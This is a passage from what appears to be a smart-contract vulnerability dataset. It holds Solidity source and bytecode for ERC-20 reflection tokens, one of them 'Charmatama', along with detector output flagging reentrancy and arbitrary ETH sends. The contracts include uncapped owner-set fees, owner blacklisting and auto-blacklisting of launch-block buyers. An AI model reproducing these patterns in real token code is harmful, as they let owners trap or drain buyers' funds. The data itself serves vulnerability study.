"ERC20: transfer amount exceeds allowance" ) ); return true; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_redisFee == 0 && _taxFee == 0) return; _previousredisFee = _redisFee; _previoustaxFee = _taxFee; _redisFee = 0; _taxFee = 0; } function restoreAllFee() private { _redisFee = _previousredisFee; _taxFee = _previoustaxFee; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { if (!tradingOpen) { require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled"); } require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit"); require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!"); if(to != uniswapV2Pair) { require(balanceOf(to) + amount < _maxWalletSize); } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance >= _swapTokensAtAmount; if(contractTokenBalance >= _maxTxAmount) { contractTokenBalance = _maxTxAmount; } if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) { takeFee = false; } else { if(from == uniswapV2Pair && to != address(uniswapV2Router)) { _redisFee = _redisFeeOnBuy; _taxFee = _taxFeeOnBuy; } if (to == uniswapV2Pair && from != address(uniswapV2Router)) { _redisFee = _redisFeeOnSell; _taxFee = _taxFeeOnSell; } } _tokenTransfer(from, to, amount, takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _marketingAddress.transfer(amount); } function initContract() external onlyOwner(){ IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); } function setTrading(bool _tradingOpen) public onlyOwner { require(!tradingOpen); tradingOpen = _tradingOpen; } function manualswap() external { require(_msgSender() == _marketingAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _marketingAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function blockBots(address[] memory bots_) public onlyOwner { for (uint256 i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function unblockBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _redisFee, _taxFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 redisFee, uint256 taxFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(redisFee).div(100); uint256 tTeam = tAmount.mul(taxFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner { _redisFeeOnBuy = redisFeeOnBuy; _redisFeeOnSell = redisFeeOnSell; _taxFeeOnBuy = taxFeeOnBuy; _taxFeeOnSell = taxFeeOnSell; } function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) external onlyOwner { _swapTokensAtAmount = swapTokensAtAmount; } function toggleSwap(bool _swapEnabled) external onlyOwner{ swapEnabled = _swapEnabled; } function setMaxTxnAmount(uint256 maxTxAmount) external onlyOwner { _maxTxAmount = maxTxAmount; } function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner { _maxWalletSize = maxWalletSize; } function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner { for(uint256 i = 0; i < accounts.length; i++) { _isExcludedFromFee[accounts[i]] = excluded; } } }
0x6080604052600436106101db5760003560e01c80637d1db4a511610102578063a2a957bb11610095578063c492f04611610064578063c492f04614610542578063dd62ed3e14610562578063ea1644d5146105a8578063f2fde38b146105c857600080fd5b8063a2a957bb146104bd578063a9059cbb146104dd578063bfd79284146104fd578063c3c8cd801461052d57600080fd5b80638f70ccf7116100d15780638f70ccf7146104675780638f9a55c01461048757806395d89b411461020957806398a5c3151461049d57600080fd5b80637d1db4a5146103f15780637f2feddc146104075780638203f5fe146104345780638da5cb5b1461044957600080fd5b8063313ce5671161017a5780636fc3eaec116101495780636fc3eaec1461038757806370a082311461039c578063715018a6146103bc57806374010ece146103d157600080fd5b8063313ce5671461030b57806349bd5a5e146103275780636b999053146103475780636d8aa8f81461036757600080fd5b80631694505e116101b65780631694505e1461027857806318160ddd146102b057806323b872dd146102d55780632fd689e3146102f557600080fd5b8062b8cf2a146101e757806306fdde0314610209578063095ea7b31461024857600080fd5b366101e257005b600080fd5b3480156101f357600080fd5b50610207610202366004611a81565b6105e8565b005b34801561021557600080fd5b50604080518082018252600781526610d3d5d0d5531560ca1b6020820152905161023f9190611b46565b60405180910390f35b34801561025457600080fd5b50610268610263366004611b9b565b610687565b604051901515815260200161023f565b34801561028457600080fd5b50601354610298906001600160a01b031681565b6040516001600160a01b03909116815260200161023f565b3480156102bc57600080fd5b50670de0b6b3a76400005b60405190815260200161023f565b3480156102e157600080fd5b506102686102f0366004611bc7565b61069e565b34801561030157600080fd5b506102c760175481565b34801561031757600080fd5b506040516009815260200161023f565b34801561033357600080fd5b50601454610298906001600160a01b031681565b34801561035357600080fd5b50610207610362366004611c08565b610707565b34801561037357600080fd5b50610207610382366004611c35565b610752565b34801561039357600080fd5b5061020761079a565b3480156103a857600080fd5b506102c76103b7366004611c08565b6107c7565b3480156103c857600080fd5b506102076107e9565b3480156103dd57600080fd5b506102076103ec366004611c50565b61085d565b3480156103fd57600080fd5b506102c760155481565b34801561041357600080fd5b506102c7610422366004611c08565b60116020526000908152604090205481565b34801561044057600080fd5b5061020761088c565b34801561045557600080fd5b506000546001600160a01b0316610298565b34801561047357600080fd5b50610207610482366004611c35565b610a44565b34801561049357600080fd5b506102c760165481565b3480156104a957600080fd5b506102076104b8366004611c50565b610aa3565b3480156104c957600080fd5b506102076104d8366004611c69565b610ad2565b3480156104e957600080fd5b506102686104f8366004611b9b565b610b10565b34801561050957600080fd5b50610268610518366004611c08565b60106020526000908152604090205460ff1681565b34801561053957600080fd5b50610207610b1d565b34801561054e57600080fd5b5061020761055d366004611c9b565b610b53565b34801561056e57600080fd5b506102c761057d366004611d1f565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b3480156105b457600080fd5b506102076105c3366004611c50565b610bf4565b3480156105d457600080fd5b506102076105e3366004611c08565b610c23565b6000546001600160a01b0316331461061b5760405162461bcd60e51b815260040161061290611d58565b60405180910390fd5b60005b81518110156106835760016010600084848151811061063f5761063f611d8d565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061067b81611db9565b91505061061e565b5050565b6000610694338484610d0d565b5060015b92915050565b60006106ab848484610e31565b6106fd84336106f885604051806060016040528060288152602001611ed3602891396001600160a01b038a166000908152600460209081526040808320338452909152902054919061131e565b610d0d565b5060019392505050565b6000546001600160a01b031633146107315760405162461bcd60e51b815260040161061290611d58565b6001600160a01b03166000908152601060205260409020805460ff19169055565b6000546001600160a01b0316331461077c5760405162461bcd60e51b815260040161061290611d58565b60148054911515600160b01b0260ff60b01b19909216919091179055565b6012546001600160a01b0316336001600160a01b0316146107ba57600080fd5b476107c481611358565b50565b6001600160a01b03811660009081526002602052604081205461069890611392565b6000546001600160a01b031633146108135760405162461bcd60e51b815260040161061290611d58565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146108875760405162461bcd60e51b815260040161061290611d58565b601555565b6000546001600160a01b031633146108b65760405162461bcd60e51b815260040161061290611d58565b601380546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556040805163c45a015560e01b81529051829163c45a01559160048083019260209291908290030181865afa15801561091b573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061093f9190611dd4565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561098c573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109b09190611dd4565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af11580156109fd573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a219190611dd4565b601480546001600160a01b0319166001600160a01b039290921691909117905550565b6000546001600160a01b03163314610a6e5760405162461bcd60e51b815260040161061290611d58565b601454600160a01b900460ff1615610a8557600080fd5b60148054911515600160a01b0260ff60a01b19909216919091179055565b6000546001600160a01b03163314610acd5760405162461bcd60e51b815260040161061290611d58565b601755565b6000546001600160a01b03163314610afc5760405162461bcd60e51b815260040161061290611d58565b600893909355600a91909155600955600b55565b6000610694338484610e31565b6012546001600160a01b0316336001600160a01b031614610b3d57600080fd5b6000610b48306107c7565b90506107c481611416565b6000546001600160a01b03163314610b7d5760405162461bcd60e51b815260040161061290611d58565b60005b82811015610bee578160056000868685818110610b9f57610b9f611d8d565b9050602002016020810190610bb49190611c08565b6001600160a01b031681526020810191909152604001600020805460ff191691151591909117905580610be681611db9565b915050610b80565b50505050565b6000546001600160a01b03163314610c1e5760405162461bcd60e51b815260040161061290611d58565b601655565b6000546001600160a01b03163314610c4d5760405162461bcd60e51b815260040161061290611d58565b6001600160a01b038116610cb25760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610612565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610d6f5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610612565b6001600160a01b038216610dd05760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610612565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610e955760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610612565b6001600160a01b038216610ef75760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610612565b60008111610f595760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610612565b6000546001600160a01b03848116911614801590610f8557506000546001600160a01b03838116911614155b1561121757601454600160a01b900460ff1661101e576000546001600160a01b0384811691161461101e5760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c6564006064820152608401610612565b6015548111156110705760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d6974000000006044820152606401610612565b6001600160a01b03831660009081526010602052604090205460ff161580156110b257506001600160a01b03821660009081526010602052604090205460ff16155b61110a5760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460448201526265642160e81b6064820152608401610612565b6014546001600160a01b03838116911614611140576016548161112c846107c7565b6111369190611df1565b1061114057600080fd5b600061114b306107c7565b6017546015549192508210159082106111645760155491505b80801561117b5750601454600160a81b900460ff16155b801561119557506014546001600160a01b03868116911614155b80156111aa5750601454600160b01b900460ff165b80156111cf57506001600160a01b03851660009081526005602052604090205460ff16155b80156111f457506001600160a01b03841660009081526005602052604090205460ff16155b156112145761120282611416565b4780156112125761121247611358565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff168061125957506001600160a01b03831660009081526005602052604090205460ff165b8061128b57506014546001600160a01b0385811691161480159061128b57506014546001600160a01b03848116911614155b1561129857506000611312565b6014546001600160a01b0385811691161480156112c357506013546001600160a01b03848116911614155b156112d557600854600c55600954600d555b6014546001600160a01b03848116911614801561130057506013546001600160a01b03858116911614155b1561131257600a54600c55600b54600d555b610bee84848484611590565b600081848411156113425760405162461bcd60e51b81526004016106129190611b46565b50600061134f8486611e09565b95945050505050565b6012546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610683573d6000803e3d6000fd5b60006006548211156113f95760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610612565b60006114036115be565b905061140f83826115e1565b9392505050565b6014805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061145e5761145e611d8d565b6001600160a01b03928316602091820292909201810191909152601354604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa1580156114b7573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906114db9190611dd4565b816001815181106114ee576114ee611d8d565b6001600160a01b0392831660209182029290920101526013546115149130911684610d0d565b60135460405163791ac94760e01b81526001600160a01b039091169063791ac9479061154d908590600090869030904290600401611e20565b600060405180830381600087803b15801561156757600080fd5b505af115801561157b573d6000803e3d6000fd5b50506014805460ff60a81b1916905550505050565b8061159d5761159d611623565b6115a8848484611651565b80610bee57610bee600e54600c55600f54600d55565b60008060006115cb611748565b90925090506115da82826115e1565b9250505090565b600061140f83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611788565b600c541580156116335750600d54155b1561163a57565b600c8054600e55600d8054600f5560009182905555565b600080600080600080611663876117b6565b6001600160a01b038f16600090815260026020526040902054959b509399509197509550935091506116959087611813565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546116c49086611855565b6001600160a01b0389166000908152600260205260409020556116e6816118b4565b6116f084836118fe565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161173591815260200190565b60405180910390a3505050505050505050565b6006546000908190670de0b6b3a764000061176382826115e1565b82101561177f57505060065492670de0b6b3a764000092509050565b90939092509050565b600081836117a95760405162461bcd60e51b81526004016106129190611b46565b50600061134f8486611e91565b60008060008060008060008060006117d38a600c54600d54611922565b92509250925060006117e36115be565b905060008060006117f68e878787611977565b919e509c509a509598509396509194505050505091939550919395565b600061140f83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061131e565b6000806118628385611df1565b90508381101561140f5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610612565b60006118be6115be565b905060006118cc83836119c7565b306000908152600260205260409020549091506118e99082611855565b30600090815260026020526040902055505050565b60065461190b9083611813565b60065560075461191b9082611855565b6007555050565b600080808061193c606461193689896119c7565b906115e1565b9050600061194f60646119368a896119c7565b90506000611967826119618b86611813565b90611813565b9992985090965090945050505050565b600080808061198688866119c7565b9050600061199488876119c7565b905060006119a288886119c7565b905060006119b4826119618686611813565b939b939a50919850919650505050505050565b6000826119d657506000610698565b60006119e28385611eb3565b9050826119ef8583611e91565b1461140f5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610612565b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146107c457600080fd5b8035611a7c81611a5c565b919050565b60006020808385031215611a9457600080fd5b823567ffffffffffffffff80821115611aac57600080fd5b818501915085601f830112611ac057600080fd5b813581811115611ad257611ad2611a46565b8060051b604051601f19603f83011681018181108582111715611af757611af7611a46565b604052918252848201925083810185019188831115611b1557600080fd5b938501935b82851015611b3a57611b2b85611a71565b84529385019392850192611b1a565b98975050505050505050565b600060208083528351808285015260005b81811015611b7357858101830151858201604001528201611b57565b81811115611b85576000604083870101525b50601f01601f1916929092016040019392505050565b60008060408385031215611bae57600080fd5b8235611bb981611a5c565b946020939093013593505050565b600080600060608486031215611bdc57600080fd5b8335611be781611a5c565b92506020840135611bf781611a5c565b929592945050506040919091013590565b600060208284031215611c1a57600080fd5b813561140f81611a5c565b80358015158114611a7c57600080fd5b600060208284031215611c4757600080fd5b61140f82611c25565b600060208284031215611c6257600080fd5b5035919050565b60008060008060808587031215611c7f57600080fd5b5050823594602084013594506040840135936060013592509050565b600080600060408486031215611cb057600080fd5b833567ffffffffffffffff80821115611cc857600080fd5b818601915086601f830112611cdc57600080fd5b813581811115611ceb57600080fd5b8760208260051b8501011115611d0057600080fd5b602092830195509350611d169186019050611c25565b90509250925092565b60008060408385031215611d3257600080fd5b8235611d3d81611a5c565b91506020830135611d4d81611a5c565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b6000600019821415611dcd57611dcd611da3565b5060010190565b600060208284031215611de657600080fd5b815161140f81611a5c565b60008219821115611e0457611e04611da3565b500190565b600082821015611e1b57611e1b611da3565b500390565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611e705784516001600160a01b031683529383019391830191600101611e4b565b50506001600160a01b03969096166060850152505050608001529392505050565b600082611eae57634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611ecd57611ecd611da3565b50029056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212200ac204f395a382b7fa6ae52a6c37edbf563c83778ad05f9f9b99a2bda76e693764736f6c634300080c0033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
265
0x501c2f58a0ce1c11bf41d9aeb9d7a1fae1a388a5
/** *Submitted for verification at Etherscan.io on 2022-02-23 */ /* _____ _____ _____ _____ _____ _____ _____ _____ _____ _____ | | | | _ | __ | | _ |_ _| _ | | _ | | --| | | -| | | | | | | | | | | | | |_____|__|__|__|__|__|__|_|_|_|__|__| |_| |__|__|_|_|_|__|__| https://t.me/Charmatama */ // SPDX-License-Identifier: Unlicensed pragma solidity ^0.8.9; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract Charmatama is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "Charmatama";// string private constant _symbol = "CHARMATAMA";// uint8 private constant _decimals = 9; mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 public launchBlock; //Buy Fee uint256 private _redisFeeOnBuy = 0;// uint256 private _taxFeeOnBuy = 5;// //Sell Fee uint256 private _redisFeeOnSell = 0;// uint256 private _taxFeeOnSell = 5;// //Original Fee uint256 private _redisFee = _redisFeeOnSell; uint256 private _taxFee = _taxFeeOnSell; uint256 private _previousredisFee = _redisFee; uint256 private _previoustaxFee = _taxFee; mapping(address => bool) public bots; mapping(address => uint256) private cooldown; address payable private _developmentAddress = payable(0x52872A1F0d348a0e136fF885711f2876C4Cf0aa2);// address payable private _marketingAddress = payable(0x99b074c09Ed0e6eB9B66A52D36be5aff0E916dc1);// IUniswapV2Router02 public uniswapV2Router; address public uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = true; uint256 public _maxTxAmount = 2500000 * 10**9; // uint256 public _maxWalletSize = 15000000 * 10**9; // uint256 public _swapTokensAtAmount = 10000 * 10**9; // event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor() { _rOwned[_msgSender()] = _rTotal; IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);// uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_developmentAddress] = true; _isExcludedFromFee[_marketingAddress] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_redisFee == 0 && _taxFee == 0) return; _previousredisFee = _redisFee; _previoustaxFee = _taxFee; _redisFee = 0; _taxFee = 0; } function restoreAllFee() private { _redisFee = _previousredisFee; _taxFee = _previoustaxFee; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { //Trade start check if (!tradingOpen) { require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled"); } require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit"); require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!"); if(block.number <= launchBlock && from == uniswapV2Pair && to != address(uniswapV2Router) && to != address(this)){ bots[to] = true; } if(to != uniswapV2Pair) { require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!"); } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance >= _swapTokensAtAmount; if(contractTokenBalance >= _maxTxAmount) { contractTokenBalance = _maxTxAmount; } if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; //Transfer Tokens if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) { takeFee = false; } else { //Set Fee for Buys if(from == uniswapV2Pair && to != address(uniswapV2Router)) { _redisFee = _redisFeeOnBuy; _taxFee = _taxFeeOnBuy; } //Set Fee for Sells if (to == uniswapV2Pair && from != address(uniswapV2Router)) { _redisFee = _redisFeeOnSell; _taxFee = _taxFeeOnSell; } } _tokenTransfer(from, to, amount, takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _marketingAddress.transfer(amount); } function setTrading(bool _tradingOpen) public onlyOwner { tradingOpen = _tradingOpen; launchBlock = block.number; } function manualswap() external { require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function blockBots(address[] memory bots_) public onlyOwner { for (uint256 i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function unblockBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 